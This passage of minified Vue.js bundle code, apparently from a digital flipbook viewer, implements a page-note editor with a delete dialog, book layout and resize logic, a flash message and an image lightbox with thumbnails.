"),i("div",{staticClass:"note-time"},[t._v(t._s(t.formattedTime))]),t._v(" "),i("span",{staticClass:"icon icon-trash-can note-button note-delete-button",attrs:{title:t.localization.deleteTip},on:{click:t.deleteNoteCheck}},[i("svgicon",{attrs:{focusable:"false",name:"trash-can"}})],1)])]):t._e(),t._v(" "),t.deleteDialog?i("div",{ref:"deleteDialog",class:t.rectClass,style:t.rectStyle,attrs:{role:"dialog"},on:{keyup:function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"esc",27,e.key,["Esc","Escape"])?null:t.deleteDialogCancel(e)},mousedown:function(t){t.stopPropagation()}}},[i("div",{staticClass:"note-delete-dialog",attrs:{dir:t.dir,"aria-hidden":"true"}},[i("div",{staticClass:"note-delete-dialog-text"},[i("div",{staticClass:"note-delete-dialog-text-flex"},[i("span",[t._v(t._s(t.localization.dialogDeleteText))])])]),t._v(" "),i("div",{staticClass:"note-delete-dialog-buttons"},[i("button",{ref:"cancelButton",staticClass:"note-delete-dialog-cancel",attrs:{tabindex:"0"},on:{click:t.deleteDialogCancel}},[t._v("\n                    "+t._s(t.localization.cancelButton)+"\n                ")]),t._v(" "),i("button",{staticClass:"note-delete-dialog-confirm",attrs:{tabindex:"0"},on:{click:function(e){return t.deleteNote(e,t.deleteTarget)}}},[t._v("\n                    "+t._s(t.localization.deleteButton)+"\n                ")])])])]):t._e()])},Xs=[],js=(i(6062),i(6382)),Ys=i.n(js);const qs=24,Ks=4,Qs=1.03,Js={name:"NoteEditor",data:function(){return{rectLeft:-115,rectTop:4,rectHeight:125,rectWidth:230,rectPadding:10,rectState:"view",deleteDialog:!1,textAreaValue:"",deleteTarget:"editor"}},computed:{textareaDir:function(){if(""!==this.textAreaValue){const t=Ys().getDirection(this.textAreaValue);return t&&"ltr"!==t?"rtl":"ltr"}return this.dir},isOpened:function(){return!!this.currentNoteId&&!!this.currentNoteData},isMovingNote:function(){return this.$store.state.notes.isMoving},showRect(){return this.isOpened&&!this.isMovingNote&&this.enoughSpace},currentNoteId:function(){return this.$store.state.notes.opened},currentNoteData:function(){return this.$store.getters["notes/noteByID"](this.currentNoteId)},oneCurrentPage:function(){const t=this.pagerState.singleMode,e=this.pagerState.slideMode,i=this.$store.state.pages.structure.length%2==0,s=this.pagerState.isFirstSpread||this.pagerState.isLastSpread&&i;return t||e||s},rightPageOffset:function(){const t=this.pagerState.wide;return!this.oneCurrentPage&&!t&&this.rtl!==(this.pagerState.rightPage===this.currentNoteData.page)?this.pageSize.width:0},singleModeRightPageCorrectionX:function(){const t=this.pagerState.singleMode,e=this.pagerState.wide,i="right"===this.pagerState.pageSide;return t&&e&&i?-this.pageSize.width:0},leftZoomOffset:function(){return this.containerSize.width>this.pageSize.width&&this.oneCurrentPage?(this.containerSize.width-this.pageSize.width)/2+this.leftHardcoverZoomOffset:0},topZoomOffset:function(){return this.containerSize.height>this.pageSize.height?(this.containerSize.height-this.pageSize.height)/2:0},topHardcoverZoomOffset:function(){return this.pagerState.hardcover?-this.pageSize.height*(Qs-1)/2:0},leftHardcoverZoomOffset:function(){if(!this.pagerState.hardcover)return 0;const t=this.pageSize.width*(Qs-1)/2;return this.isRtlOrientation?t:-t},isZoomed(){return 1!==this.$store.state.pages.size.zoomFactor},hardcoverTopPadding(){let t=Math.round(this.pageSize.height*Qs);return t%2!=0&&(t+=1),this.pagerState.hardcover?Math.round((t-this.pageSize.height)/2):0},isRtlOrientation(){return this.pagerState.isFirstSpread&&this.rtl||this.pagerState.isLastSpread&&!this.rtl},hardcoverLeftPadding(){return this.pagerState.hardcover&&this.isRtlOrientation?this.pageSize.width*(1-Qs):0},currentNotePosition:function(){let t,e;if(this.isZoomed){const i="[data-zoom-wrapper]",s=new window.WebKitCSSMatrix(window.getComputedStyle(this.$root.$el.querySelector(i)).transform);t=s.m41+this.leftZoomOffset,e=s.m42+this.topZoomOffset+this.topHardcoverZoomOffset}else t=this.holderSize.left,e=this.holderSize.top-this.hardcoverTopPadding;return{left:t+this.rightPageOffset+this.singleModeRightPageCorrectionX+this.hardcoverLeftPadding+Math.round(this.currentNoteData.pX*this.scale.w),top:Math.max(e+Math.round(this.currentNoteData.pY*this.scale.h),e+qs+Ks)}},pagerState:function(){return this.$store.getters["pager/state"]},slideComponent:function(){return"slide-book"===this.$store.state.workspace.bookComponent},isContentCropMode(){return this.pagerState.slideMode&&this.$store.state.book.contentCrop},pageSize:function(){if(this.slideComponent){const t=this.pagerState.currentPage;return this.$store.getters["pages/currentSize"](t)}return this.$store.getters["pages/size"]},holderSize:function(){return this.$store.getters["workspace/holderSize"]},containerSize:function(){return this.$store.getters["workspace/containerSize"]},enoughSpace:function(){return this.containerSize.width>=this.rectWidth+2*this.rectPadding&&this.containerSize.height>=this.rectHeight+2*this.rectPadding},scale:function(){const t=this.slideComponent&&this.pagerState.wide;return{w:this.pageSize.width*(this.pagerState.hardcover?Qs:1)/this.$store.state.book.bookSize.width/(t?2:1),h:this.pageSize.height*(this.pagerState.hardcover?Qs:1)/this.$store.state.book.bookSize.height}},rectStyle:function(){return{top:this.currentNotePosition.top+this.rectTop+"px",left:this.currentNotePosition.left+this.rectLeft+"px"}},rectClass:function(){return["note-rect",this.rectState]},colorSetClass:function(){return["note-color-set",this.currentNoteData.color]},formattedTime:function(){const t=new Date(Date.now()),e=new Date(this.currentNoteData.date);let i=e.toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"});return t.getDay()===e.getDay()&&t.getFullYear()===e.getFullYear()&&t.getMonth()===e.getMonth()||(i=e.toLocaleDateString()+", "+i),i},dir:function(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"},rtl:function(){return this.$store.state.book.rightToLeft},localization(){return{placeholderText:this.$i18n.t("Notes.PLACEHOLDER"),dialogDeleteText:this.$i18n.t("Notes.DIALOG_DELETE_TEXT"),deleteTip:this.$i18n.t("Notes.DELETE_TIP"),deleteButton:this.$i18n.t("AlertWindow.BUTTON_DELETE"),cancelButton:this.$i18n.t("AlertWindow.BUTTON_CANCEL"),colorRed:this.$i18n.t("Notes.COLOR_RED"),colorGray:this.$i18n.t("Notes.COLOR_GRAY"),colorOrange:this.$i18n.t("Notes.COLOR_ORANGE"),colorViolet:this.$i18n.t("Notes.COLOR_VIOLET"),colorBlue:this.$i18n.t("Notes.COLOR_BLUE"),colorGreen:this.$i18n.t("Notes.COLOR_GREEN")}},isFrozenOrNotReady(){return this.$store.state.workspace.freezed||"ready"!==this.$store.state.workspace.status||this.$store.state.workspace.isResizing||this.$store.state.pager.freezed},activeInteractiveElement(){return this.$store.state.workspace.activeInteractiveElement}},watch:{activeInteractiveElement:function(t){"note"!==t&&this.hideEditor()},isOpened:function(t){t&&(this.currentNoteData?.new&&(this.rectState="edit"),this.showEditor(),setTimeout((()=>{"edit"===this.rectState&&this.forceFocus()}),100))},isMovingNote:function(t){t?(this.saveText(this.currentNoteId),this.deleteDialog=!1):this.updateEditorParams()},currentNoteId:function(t,e){null!==e&&this.saveText(e)},size:function(){this.isOpened&&this.updateEditorParams()},containerSize:function(){this.updateEditorParams()},currentNoteData:function(t){this.textAreaValue=t?t.text:""}},mounted:function(){this.$root.$on("contextMenu:deleteNote",this.onDelete),this.$root.$on("contextMenu:editNote",this.onEdit),this.$root.$on("note:deleteDialog",this.onDeleteDialog),this.updateEditorParams(),this.isOpened&&this.showEditor(),this.parentEl=this.$el.parentElement},beforeDestroy:function(){this.$root.$off("contextMenu:deleteNote",this.onDelete),this.$root.$off("contextMenu:editNote",this.onEdit),this.$root.$off("note:deleteDialog",this.onDeleteDialog),document.removeEventListener("keydown",this.checkKeydown),this.deleteDialog=!1},methods:{showEditor:function(){this.$store.dispatch("workspace/setActiveInteractiveElement","note"),this.updateEditorParams(),this.$store.dispatch("notes/setOpenedId",{id:this.currentNoteId}),this.$store.dispatch("notes/setActiveItemById",this.currentNoteId),document.addEventListener("keydown",this.checkKeydown)},hideEditor:function(){this.deleteDialog=!1,document.activeElement===this.$refs.text&&this.$refs.text.blur(),this.$store.dispatch("notes/setOpenedId",{id:null}),this.$store.dispatch("workspace/setHighlightTimeout",Date.now()+300),document.removeEventListener("keydown",this.checkKeydown),this.rectState="view"},updateEditorParams:function(){if(!this.isOpened)return;const t=this.containerSize.width-this.currentNotePosition.left;this.currentNotePosition.left<this.rectWidth/2+this.rectPadding?this.rectLeft=-this.currentNotePosition.left+this.rectPadding:t<this.rectWidth/2+this.rectPadding?this.rectLeft=t-this.rectWidth-this.rectPadding:this.rectLeft=-this.rectWidth/2;const e=this.containerSize.height-this.currentNotePosition.top>this.rectHeight+2*Ks,i=this.currentNotePosition.top>this.rectHeight+qs+2*Ks;if(e)this.rectTop=Ks;else if(i)this.rectTop=-(this.rectHeight+qs+2*Ks);else{this.rectTop=-(this.rectHeight+qs+2*Ks)/2,this.rectLeft=-this.rectWidth/2;const e=this.rectWidth/2+qs+Ks,i=this.currentNotePosition.left>this.rectWidth+this.rectPadding,s=t-qs>this.rectWidth+this.rectPadding;if(i||s)this.rectLeft+="rtl"===this.dir&&i||!s?-e:e;else{const t=this.$el.getBoundingClientRect().right+this.rectWidth+this.rectPadding>this.$store.state.workspace.size.width;this.rectLeft+=t?-e:e}}},saveText:function(t){const e=this.$store.getters["notes/noteByID"](t);e&&this.$refs.text&&e.text!==this.$refs.text.value&&(this.$store.dispatch("notes/changeText",{id:t,text:this.$refs.text.value}),this.$root.$emit("note",{action:"changeText"}))},setColor:function(t){this.currentNoteData.color!==t&&(this.$store.dispatch("notes/changeColor",{id:this.currentNoteId,color:t}),this.$root.$emit("note",{action:"changeColor",value:t}))},focusTextArea:function(){this.rectState="edit",document.removeEventListener("keydown",this.checkKeydown)},deleteNoteCheck:function(t){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"editor";""===this.currentNoteData.text?this.deleteNote(t,e):(this.deleteTarget=e,this.deleteDialog=!0,this.isOpened||document.addEventListener("mousedown",this.deleteDialogCancel),this.$nextTick((()=>{document.removeEventListener("keydown",this.checkKeydown),this.$refs.cancelButton.focus()})))},onDeleteDialog:function(t,e){this.currentNoteId!==t&&this.$store.dispatch("notes/setOpenedId",{id:t,target:"noteWindowDelete"}),this.deleteNoteCheck(null,e)},checkKeydown:function(t){if("Escape"===t.code&&this.$store.dispatch("workspace/setActiveInteractiveElement",null),"view"===this.rectState&&t.preventDefault(),"Backspace"===t.code||"Delete"===t.code){if(this.$refs.text===document.activeElement)return;this.deleteNoteCheck(t,"hotkey")}},deleteNote:function(t){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;document.removeEventListener("keydown",this.checkKeydown),this.$store.dispatch("notes/deleteNote",{id:this.currentNoteId,target:e}),this.$store.dispatch("workspace/setActiveInteractiveElement",null),this.deleteDialogCancel()},deleteDialogCancel:function(){this.isOpened&&document.addEventListener("keydown",this.checkKeydown),document.removeEventListener("mousedown",this.deleteDialogCancel),this.deleteDialog=!1,this.$nextTick((()=>{this.$root.$emit("note:closeDeleteDialog")}))},setViewState:function(t){this.rectState="view",t.target.blur()},forceFocus:function(){this.$refs.text?.focus()},onDelete(t){this.currentNoteId!==t&&this.$store.dispatch("notes/setOpenedId",{id:t,target:"contextMenu"}),this.deleteNoteCheck(null,"contextMenu")},onEdit(t){this.$store.dispatch("notes/setOpenedId",{id:t,target:"contextMenu"})}}},to=Js;const eo=(0,R.Z)(to,Gs,Xs,!1,null,"bf390c46",null).exports;i(5903);const io=getComputedStyle(document.documentElement).getPropertyValue("--z-index-book-substrate"),so={mixins:[g.Z],data:function(){return{containerSize:{width:0,height:0},bookSize:{width:0,height:0},miniFullScreen:!1,ctrFade:"no-fade"}},props:{size:{required:!1},wsToggleFullscreen:{type:Function,default:()=>{}}},components:{slideNavButtons:Hs,flipBook:xs,slideBook:Ms,navButtons:Ds,zoomPanel:Us,logo:Es,noteEditor:eo},computed:{inspectorMode(){return this.$store.state.workspace.inspectorMode},version(){return this.$store.getters["info/version"]},layout(){return this.$store.state.workspace.layout},bookScaleSize(){return this.$store.state.workspace&&this.$store.state.workspace.bookSize},originalBookSize(){return{width:this.$store.state.book.bookSize.width*(this.isSingleMode?1:2),height:1*this.$store.state.book.bookSize.height,zoomFactor:this.$store.state.book.bookSize.zoomFactor}},showPrevSubstrate(){return this.isRTLBook?!this.$store.getters["pager/isLastSpread"]:!this.$store.getters["pager/isFirstSpread"]},showNextSubstrate(){return this.isRTLBook?!this.$store.getters["pager/isFirstSpread"]:!this.$store.getters["pager/isLastSpread"]},isHardcover(){return this.$store.getters["book/hasHardcover"]},hasThickness(){return this.$store.state.book.thickness},isSingleMode(){return"single"===this.$store.getters["pager/mode"]},isZoomed(){return 1!==this.$store.state.pages.size.zoomFactor},isScaled(){return!!this.$refs.bookComponent&&this.$refs.bookComponent.scaleFactor<1},showSimpleArrows(){return!("flip-book"===this.currentBookComponent&&"html"===this.version&&(!this.isZoomed||this.isScaled)||this.showSmartArrows)},showSmartArrows(){return"html"===this.version&&"slide-book"===this.currentBookComponent},isRTLBook:function(){return this.$store.state.book.rightToLeft},bookComponent(){return"mobile-old"===this.version?"slide-book":this.$store.state.workspace.components.book.flip?"flip-book":"slide-book"},currentBookComponent(){return this.$store.state.workspace.bookComponent},isLightboxShown(){return this.$store.getters["lightbox/isShown"]},containerClass(){return{animation:"ready"!==this.$store.state.workspace.status&&!this.$store.state.pager.zoomMode&&!this.$store.state.workspace.zoomPanel,"arrow-attract-left":"left"===this.arrowAttract&&!this.isLightboxShown,"arrow-attract-right":"right"===this.arrowAttract&&!this.isLightboxShown}},miniState(){return this.$store.state.workspace.mini},clickToReadText:function(){return this.$i18n.t("Other.CLICK_TO_READ")},pagerState:function(){return this.$store.getters["pager/state"]},clickToReadClass:function(){return{clickToRead:!0,hideTop:this.miniTopPosition}},miniClickToReadClass:function(){return{miniClickToRead:!0,hideTop:this.miniTopPosition}},arrowAttract:function(){const t=this.$store.getters["workspace/callToNavigation"];return"arrow"===t.type&&t.side},miniTopPosition:function(){return this.$store.getters["logo/showLogo"]&&"bottom-right"===this.$store.state.logo.position},pagesCount:function(){return this.$store.getters["pages/pagesCount"]},hasPages:function(){return this.pagesCount>0},substrateStyle(){let t,e;if(this.$store.getters["pager/state"].slideMode)e="100%",t=0;else{const i=this.$store.state.workspace.holderSize.top,s=this.$store.getters["pages/size"].height,o=this.$store.state.workspace.containerSize.height;t=1===this.$store.state.book.bookSize.zoomFactor?i+"px":o>=s?Math.round(i)+"px":0,e=Math.min(s,o)+"px"}return{display:"block",height:e,top:t,cursor:this.isFrozen?"inherit":"pointer","z-index":this.isFrozen&&"flip-book"===this.bookComponent?io:"auto"}},logoKey:function(){return this.$store.getters["logo/logoKey"]},renderLogo:function(){return this.$store.getters["logo/renderLogo"]},isMobile(){return this.$store.getters["workspace/isMobile"]},isMobileApp(){return"mobile-app"===this.$store.getters["info/version"]},isFrozen(){return this.$store.getters["workspace/isFrozen"]||this.$store.getters["pager/isFrozen"]}},methods:{documentOnMouseUp(){clearTimeout(this.inspectorModeTimeoutId)},documentOnMouseDown(t){t.shiftKey&&t.altKey&&(t.ctrlKey||t.metaKey)&&(t.preventDefault(),this.inspectorModeTimeoutId=setTimeout((()=>{this.$store.dispatch("workspace/setInspectorMode",!this.inspectorMode)}),1e3))},fitBook(t,e){const i=Object.assign({},e),s=this.$store.state.book.bookSize,o=this.bookScaleSize,r=this.pagesCount,a=(0,ae.Tj)({width:2*s.width,height:s.height},i),n=ne(r,r,a,.1*a.width),h=(o||100)/100,l=28,c=34,d=this.isSingleMode?2*c:2*l,p=10;"desktop"===this.layout?(this.hasThickness&&(i.width-=n),i.width-=d):this.isMobile&&(!this.isSingleMode&&this.hasThickness&&(i.width-=n),i.height-=p);const g=(0,ae.Tj)(t,i);if(this.isHardcover){const t=this.isSingleMode?1.04:1.03;g.width=g.width/t,g.height=g.height/t}const u=g.height/g.width;return g.width=Math.floor(g.width*h),g.width=g.width%2==0?g.width:g.width+1,g.height=Math.floor(u*g.width),{width:g.width,height:g.height}},resize(t){const e=window.getComputedStyle(this.$el),i={left:1*e.getPropertyValue("margin-left").split("px")[0],right:1*e.getPropertyValue("margin-right").split("px")[0],top:1*e.getPropertyValue("margin-top").split("px")[0],bottom:1*e.getPropertyValue("margin-bottom").split("px")[0]};this.containerSize={width:this.size.width-i.left-i.right,height:this.size.height-i.top-i.bottom,top:this.size.top+i.top,left:this.size.left+i.left},this.$store.dispatch("workspace/setContainerSize",this.containerSize);const s=this.fitBook(this.originalBookSize,this.containerSize),o=Math.round(s.width/(this.isSingleMode?1:2));let r=Math.round(s.height);r=r%2==0?r:r+1,this.bookSize={width:o,height:r,zoomFactor:this.originalBookSize.zoomFactor}},goToRightPage(){this.$store.state.pager.freezed||setTimeout((()=>{this.movePagerRight({target:"free-space-tap"})}),0)},goToLeftPage(){this.$store.state.pager.freezed||setTimeout((()=>{this.movePagerLeft({target:"free-space-tap"})}),0)},arrowHover(t,e){this.$refs.bookComponent&&"function"==typeof this.$refs.bookComponent.arrowHover&&this.$refs.bookComponent.arrowHover(t,e)},afterFade(){this.ctrFade="no-fade"}},beforeMount:function(){this.$root.$once("before-preloader-off",this.resize),this.$store.dispatch("workspace/setBookComponent",this.bookComponent),this.$root.$on("forceBookResize",this.resize)},mounted:function(){this.resize(!0),this.hasPages||this.$root.onPublicationLoad({}),document.addEventListener("mousedown",this.documentOnMouseDown),document.addEventListener("mouseup",this.documentOnMouseUp)},beforeDestroy:function(){this.$root.$off("forceBookResize",this.resize),document.removeEventListener("mousedown",this.documentOnMouseDown),document.removeEventListener("mouseup",this.documentOnMouseUp)},watch:{size:function(){this.resize()},bookScaleSize:function(){this.resize()},originalBookSize:function(){this.resize()},hasThickness:function(){this.resize()},bookComponent:function(t){this.$store.dispatch("pager/setForceRerender",{forceRerender:!1}),this.$store.dispatch("workspace/setBookComponent",t),this.resize()},pagerState:function(t,e){!this.miniState||this.miniFullScreen||t.isEqualState(e)||(this.ctrFade="ctr-fade",this.$nextTick((()=>{this.miniFullScreen=!0})))},renderLogo:function(t){t||(this.$refs?.logoComponent?.$el&&!this.$refs.logoComponent.$el.parentElement&&this.$el.appendChild(this.$refs.logoComponent.$el),this.$nextTick((()=>{this.$store.dispatch("logo/updateKey")})))}}},oo=so;const ro=(0,R.Z)(oo,s,o,!1,null,"42bb92b2",null).exports},5343:(t,e,i)=>{"use strict";i.d(e,{Z:()=>a});var s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("transition",{attrs:{name:"fade"}},[i("div",{staticClass:"flash-message",style:t.messageData.style,attrs:{role:"alert","aria-live":"assertive","aria-atomic":"true"}},[t._v("\n        "+t._s(t.messageData.text)+"\n    ")])])},o=[];const r={name:"FlashMessage",mounted(){null!==this.$store.getters["workspace/flashMessage"]&&setTimeout((()=>{this.$store.dispatch("workspace/setFlashMessage",null)}),this.delay)},computed:{messageData(){return this.$store.getters["workspace/flashMessage"]},delay(){return this.messageData&&this.messageData.delay?this.messageData.delay:900}}};const a=(0,i(1900).Z)(r,s,o,!1,null,"8ce2c984",null).exports},7592:(t,e,i)=>{"use strict";i.d(e,{Z:()=>H});var s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return t.show?i("v-touch",{on:{swipeleft:function(e){t.isNavEnabled&&t.goRight("swipe")},swiperight:function(e){t.isNavEnabled&&t.goLeft("swipe")},swipeup:t.close,swipedown:t.close}},[i("span",{ref:"first-trap",attrs:{tabindex:"0","aria-hidden":"true"}}),t._v(" "),i("transition",{attrs:{name:"lightbox"},on:{"after-enter":function(e){!t.isMobile&&t.setFocusTraps({})}}},[i("div",{directives:[{name:"show",rawName:"v-show",value:t.isLightboxActive&&(t.areThumbnailsReady||t.isSmallWorkspace||!t.isNavEnabled),expression:"isLightboxActive && (areThumbnailsReady || isSmallWorkspace || !isNavEnabled)"}],class:t.lightboxClasses,style:t.lightboxStyle},[i("div",{staticClass:"lightbox-main"},[i("div",{staticClass:"lightbox-content",style:t.lightboxSizeStyle,on:{click:function(e){!t.isMobile&&t.setFocusTraps({justResetFocus:!0})}}},[i("transition",{attrs:{name:"lightbox-element"}},[i(t.item.component,{key:t.item.key,tag:"component",staticClass:"lightbox-element",attrs:{currentItem:t.item.data},on:{"lightbox-rect":t.setLightboxRect,"toggle-overlap-visibility":t.toggleOverlapVisibility}})],1),t._v(" "),i("button",{ref:"btn-close",staticClass:"lightbox-btn close",style:t.closeButtonStyle,attrs:{tabindex:"0","aria-label":t.localization.closeButton,title:t.localization.closeButton},on:{click:t.close}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"cross"}})],1),t._v(" "),t.currentLightboxItem&&t.currentLightboxItem.descriptionByType&&t.isOverlapVisible?i("div",{staticClass:"lightbox-description-wrapper",attrs:{dir:t.currentLightboxItem.descriptionDir}},[i("div",{staticClass:"lightbox-description-container",on:{click:function(e){e.preventDefault(),t.isDescriptionOverflowing&&t.toggleDescription()},mousedown:function(t){t.preventDefault()},mouseup:function(t){t.preventDefault()}}},[null!==t.isDescriptionOverflowing?i("div",{ref:"lightbox-description",class:t.descriptionClasses,attrs:{id:"lightbox-description"}},t._l(t.currentLightboxItem.descriptionByType,(function(e){return i("span",["text"===e.type?[t._v(t._s(e.text))]:"link"===e.type?i("a",{staticClass:"description-link",attrs:{href:e.link,target:"_blank"},on:{click:function(t){t.stopPropagation()},mousedown:function(t){t.preventDefault()},mouseup:function(t){t.preventDefault()}}},[t._v(t._s(e.text))]):t._e()],2)})),0):t._e(),t._v(" "),i("div",{ref:"description-placeholder",staticClass:"lightbox-description lightbox-description-placeholder",attrs:{"aria-hidden":"true"}},t._l(t.currentLightboxItem.descriptionByType,(function(e){return i("span",["text"===e.type?[t._v(t._s(e.text))]:"link"===e.type?i("a",{staticClass:"description-link",attrs:{href:e.link,tabindex:"-1"}},[t._v("\n                                        "+t._s(e.text))]):t._e()],2)})),0),t._v(" "),t.isDescriptionOverflowing?i("div",{staticClass:"lightbox-description-more"},[t._v("\n                                "+t._s(t.descriptionMore)+"\n                            ")]):t._e()])]):t._e()],1)]),t._v(" "),!t.isSmallWorkspace&&t.isNavEnabled?[i("div",{staticClass:"nav-area nav-area-left",on:{click:function(e){return t.goLeft("area")}}}),t._v(" "),i("div",{staticClass:"nav-area nav-area-right",on:{click:function(e){return t.goRight("area")}}})]:t._e(),t._v(" "),!t.isSmallWorkspace&&t.isNavEnabled?i("div",{staticClass:"nav-btns"},[i("button",{ref:"nav-btn-left",staticClass:"lightbox-btn nav-btn nav-btn-left",attrs:{tabindex:"0","aria-label":t.localization.leftButton,title:t.localization.leftButton},on:{click:function(e){return t.goLeft("button")}}},[i("svgicon",{staticClass:"chevron-left",attrs:{focusable:"false",name:"chevron-right"}})],1),t._v(" "),i("button",{ref:"nav-btn-right",staticClass:"lightbox-btn nav-btn nav-btn-right",attrs:{tabindex:"0","aria-label":t.localization.rightButton,title:t.localization.rightButton},on:{click:function(e){return t.goRight("button")}}},[i("svgicon",{attrs:{focusable:"false",name:"chevron-right"}})],1)]):t._e(),t._v(" "),t.isSmallWorkspace&&t.isNavEnabled?i("div",{ref:"small-workspace-nav",staticClass:"small-workspace-nav",attrs:{dir:"ltr"}},[i("div",{ref:"nav-btn-left",staticClass:"lightbox-btn small-workspace-nav-btn small-workspace-nav-btn-left",attrs:{role:"button",tabindex:"0","aria-label":t.localization.leftButton,title:t.localization.leftButton},on:{click:function(e){return t.goLeft("button")}}},[i("svgicon",{staticClass:"chevron-left",attrs:{focusable:"false",name:"chevron-right"}})],1),t._v(" "),i("div",{staticClass:"lightbox-nav-dots-wrapper",attrs:{"data-lightbox-nav-dots-wrapper":"true"}},[i("div",{staticClass:"lightbox-nav-dots-grad-left"}),t._v(" "),i("div",{staticClass:"lightbox-nav-dots-grad-right"}),t._v(" "),i("div",{staticClass:"lightbox-nav-dots"},[i("lightbox-nav-dots")],1)]),t._v(" "),i("div",{ref:"nav-btn-right",staticClass:"lightbox-btn small-workspace-nav-btn small-workspace-nav-btn-right",attrs:{role:"button",tabindex:"0","aria-label":t.localization.rightButton,title:t.localization.rightButton},on:{click:function(e){return t.goRight("button")}}},[i("svgicon",{attrs:{focusable:"false",name:"chevron-right"}})],1)]):t._e(),t._v(" "),!t.isSmallWorkspace&&t.isNavEnabled?i("div",{staticClass:"lightbox-nav"},[i("lightbox-thumbnails")],1):t._e(),t._v(" "),i("div",{staticClass:"lightbox-overlay",on:{click:t.close}})],2)]),t._v(" "),i("span",{ref:"last-trap",attrs:{tabindex:"0","aria-hidden":"true"}})],1):t._e()},o=[],r=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:[{"lightbox-thumbnail-image":t.thumbnail}]},[i("transition",{attrs:{name:t.thumbnail?null:"image"}},[t.blobUrl?i("div",{staticClass:"image-wrapper"},[i("div",{staticClass:"image",style:t.imageStyle,attrs:{role:"img","aria-labelledby":"lightbox-description"},on:{click:function(e){!t.thumbnail&&t.isSmallWorkspace&&t.$emit("toggle-overlap-visibility")}}})]):t._e()]),t._v(" "),t.hasError?i("div",{staticClass:"icon-wrap"},[i("svgicon",{staticClass:"error-icon",attrs:{focusable:"false",name:"error"}})],1):t.blobUrl?t._e():i("div",{staticClass:"icon-wrap"},[i("spinner",{attrs:{size:t.thumbnail?12:36,"line-size":3,"line-fg-color":"#5692AE","line-bg-color":"#333"}})],1)],1)},a=[],n=i(9426),h=i(9937),l=i(776),c=i(5657),d=i(2918),p=i(2358);const g={},u={props:{currentItem:{type:Object,required:!1}},computed:{workspaceSize:function(){return this.$store.getters["workspace/size"]},isPortrait(){return this.$store.getters["workspace/isPortrait"]},isSmallWorkspace(){return this.$store.getters["workspace/isSmallWorkspace"]},isMobile(){return this.$store.getters["workspace/isMobile"]},isLocaleRtl:function(){return this.$store.getters["i18n/isLocaleRtl"]},isPublisher(){return this.$store.state.workspace.userAgentInfo.browser.publisher},buttonSize(){return this.isSmallWorkspace?this.$store.state.lightbox.smallWorkspaceButtonSize:this.$store.state.lightbox.buttonSize},bannerHeight(){return this.$store.state.workspace.bannerHeight}},methods:{getSafeAreaInset(t){return!this.isMobile||this.isPublisher?0:(g[this.workspaceSize.width]=g[this.workspaceSize.width]||{},void 0===g[this.workspaceSize.width][t]&&(g[this.workspaceSize.width][t]=Number(getComputedStyle(document.documentElement).getPropertyValue("--safe-area-inset-"+t).trim().slice(0,-2))),g[this.workspaceSize.width][t])}}};i(6177);const f={},m={components:{Spinner:n.Z},mixins:[u],props:{thumbnail:{type:Boolean,default:!1}},data:()=>({crossOrigin:(0,l.Z)().getCrossOrigin(),blobUrl:null,naturalWidth:null,naturalHeight:null,hasError:null}),computed:{isNavEnabled(){return this.$store.getters["lightbox/isNavEnabled"]},wrapperRect:function(){if(this.thumbnail)return this.$store.state.lightbox.thumbnailSizeLimits;if(!this.currentItem||!this.workspaceSize.width)return null;const t=this.getSafeAreaInset("top"),e=this.getSafeAreaInset("right"),i=this.getSafeAreaInset("bottom"),s=this.getSafeAreaInset("left"),o=t+"-"+e+"-"+i+"-"+s+"-"+this.isSmallWorkspace+"-"+this.isPortrait+"-"+this.isNavEnabled+"-"+this.workspaceSize.width+"-"+this.workspaceSize.height+"-"+this.bannerHeight;f[this.currentItem.name]=f[this.currentItem.name]||{};let r=f[this.currentItem.name][o];if(void 0===r){let a,n;a=this.currentItem.originalSize?{width:this.currentItem.originalSize[0],height:this.currentItem.originalSize[1]}:this.naturalWidth?{width:this.naturalWidth,height:this.naturalHeight}:{width:Math.round(this.currentItem.rect[0]*this.currentItem.scaleRatio.w),height:Math.round(this.currentItem.rect[1]*this.currentItem.scaleRatio.h)};const h=Math.max(s,e);if(this.isSmallWorkspace){const e=4;n=this.isPortrait?{width:this.workspaceSize.width-2*e,height:this.workspaceSize.height-2*this.buttonSize-this.navHeight-(this.bannerHeight||t)-i}:{width:this.workspaceSize.width-2*this.buttonSize-2*h,height:this.workspaceSize.height-this.bannerHeight-(this.navHeight||e)-i-e}}else{const t=this.isNavEnabled?Math.max(this.$store.state.lightbox.navAreaPadding,h):0;n={width:this.workspaceSize.width-2*(this.buttonSize+2*t),height:this.workspaceSize.height-this.bannerHeight-2*this.buttonSize-this.navHeight}}r=(0,d.Tj)(a,n,!0),r.width=Math.round(r.width)||1,r.height=Math.round(r.height)||1,f[this.currentItem.name][o]=r}return this.$emit("lightbox-rect",r),r},rawUrl:function(){return this.currentItem&&this.fileName?(0,p.n)({filenameOrUrl:this.fileName}):null},fileName(){const t=this.currentItem;if(!(t&&t.name&&t.sizes&&this.wrapperRect))return null;const e=Math.max(this.wrapperRect.width,this.wrapperRect.height),i=(0,c.F)({data:t,maxSize:e});return(0,l.Z)().getImageFileName(i)},imageStyle(){const{width:t,height:e}=this.wrapperRect;return{width:`${t}px`,height:`${e}px`,"background-size":this.thumbnail?"cover":`${t}px ${e}px`,"background-image":this.blobUrl?"url("+this.blobUrl+")":null}},navHeight(){return this.$store.getters["lightbox/navHeight"]}},watch:{rawUrl:{handler:function(t){this.clear(),t&&this.load()},immediate:!0}},methods:{clear(){this.blobUrl=null,this.naturalWidth=null,this.naturalHeight=null,this.hasError=null},load(){(0,h.Z)({url:this.rawUrl,callback:t=>{const e=document.createElement("img");e.onload=()=>{this.blobUrl=t,this.naturalWidth=e.naturalWidth,this.naturalHeight=e.naturalHeight,!this.thumbnail&&this.currentItem&&this.$root.$emit("image",{action:"loaded",pageId:this.currentItem.pageId,url:(0,c.q)(this.currentItem),lightboxUrl:window.location.href})},e.onerror=this.onLoadError,e.crossOrigin=this.crossOrigin,e.src=t,e.style.width="100%"},errorback:this.onLoadError})},onLoadError(t){console.error("Image loading error from LightboxImage component.",t),this.hasError=!0}}};var b=i(1900);const 